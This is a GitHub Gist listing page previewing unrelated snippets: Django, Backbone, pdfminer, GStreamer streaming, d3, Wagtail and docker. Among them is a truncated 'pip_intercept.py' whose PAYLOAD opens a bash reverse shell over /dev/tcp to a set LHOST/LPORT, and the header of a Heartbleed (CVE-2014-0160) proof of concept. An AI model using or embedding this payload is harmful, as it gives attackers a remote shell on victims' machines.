Skip to content

Instantly share code, notes, and snippets.

View sakti's full-sized avatar
🦀

Sakti Dwi Cahyono sakti

🦀
View GitHub Profile
@klipstein
klipstein / b64field.py
Created November 22, 2010 12:25
Base64 file handling for django-tastypie
import base64
import os
from tastypie.fields import FileField
from django.core.files.uploadedfile import SimpleUploadedFile
class Base64FileField(FileField):
"""
A django-tastypie field for handling file-uploads through raw post data.
It uses base64 for en-/decoding the contents of the file.
Usage:
@gcollazo
gcollazo / Backbone.sync_csrftoken.js
Created September 25, 2011 14:56
This is what I did to insert the CSRF token in backbone requests. This works with django.
var oldSync = Backbone.sync;
Backbone.sync = function(method, model, options){
options.beforeSend = function(xhr){
xhr.setRequestHeader('X-CSRFToken', CSRF_TOKEN);
};
return oldSync(method, model, options);
};
@sakti
sakti / parse_toc.py
Created April 2, 2012 03:27
Extract TOC information from pdf file using pdfminer
#!/usr/bin/env python
# parse_toc.py
from pdfminer.pdfparser import PDFParser, PDFDocument
def parse(filename, maxlevel):
fp = open(filename, 'rb')
parser = PDFParser(fp)
doc = PDFDocument()
parser.set_document(doc)
@misaelnieto
misaelnieto / live-mjpeg-stream.py
Last active June 26, 2024 10:08
Streaming MJPEG over HTTP with gstreamr and python - WSGI version
#!/usr/bin/python
#based on the ideas from http://synack.me/blog/implementing-http-live-streaming
# Updates:
# - 2024-04-24: Apply suggestions from @Pin80
# Run this script and then launch the following pipeline:
# gst-launch videotestsrc pattern=ball ! video/x-raw-rgb, framerate=15/1, width=640, height=480 ! jpegenc ! multipartmux boundary=spionisto ! tcpclientsink port=9999
#updated command line
#gst-launch-1.0 videotestsrc pattern=ball ! videoconvert ! video/x-raw, framerate=15/1, width=640, height=480 ! jpegenc ! multipartmux boundary=spionisto ! #tcpclientsink port=9999
from multiprocessing import Queue
@anotherjavadude
anotherjavadude / index.html
Created June 19, 2012 08:16
Simple static tree with tooltips
<!DOCTYPE html>
<html>
<head>
<title>Simple Tree Demo</title>
<script src="http://d3js.org/d3.v2.js"></script>
<style>
.link {
fill: none;
stroke: #ccc;
stroke-width: 1.5px;
anonymous
anonymous / pip_intercept.py
Created February 2, 2013 17:50
# -*- coding: utf-8 -*-
#
import tempfile
import sys, os
import re
LHOST, LPORT = ('127.0.0.1', '4444')
PAYLOAD = (r'''os.system('echo "bash -c \'0<&76-;exec 76<>/dev/tcp/%s/%s;
@dypsilon
dypsilon / frontendDevlopmentBookmarks.md
Last active July 7, 2024 19:32
A badass list of frontend development resources I collected over time.
@tomdyson
tomdyson / getting-started-with-wagtail.md
Last active November 12, 2020 05:47
Getting started with Wagtail

Wagtail tutorial

Thanks to [Serafeim Papastefanos] for authoring this tutorial. Please note that the installation process is in flux; most of the steps here should soon be unnecessary.

[Wagtail] is a new Open Source [Django]-based CMS. In this 20 minute tutorial we will see how you can create a blog from scratch using Wagtail. If you want to see some more examples of usage please take a look at the [wagtaildemo] GitHub project.

To follow this tutorial you will need to have [Python] 2.7 installed with a working version of [pip] and [virtualenv].

Installing the wagtail dependencies

@takeshixx
takeshixx / hb-test.py
Last active July 4, 2024 03:29
OpenSSL heartbeat PoC with STARTTLS support.
#!/usr/bin/env python2
"""
Author: takeshix <takeshix@adversec.com>
PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org).
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
"""
import sys,struct,socket
from argparse import ArgumentParser
@anildigital
anildigital / gist:862675ec1b7bccabc311
Created July 26, 2014 18:27
Remove dangling docker images
docker rmi $(docker images -q -f dangling=true)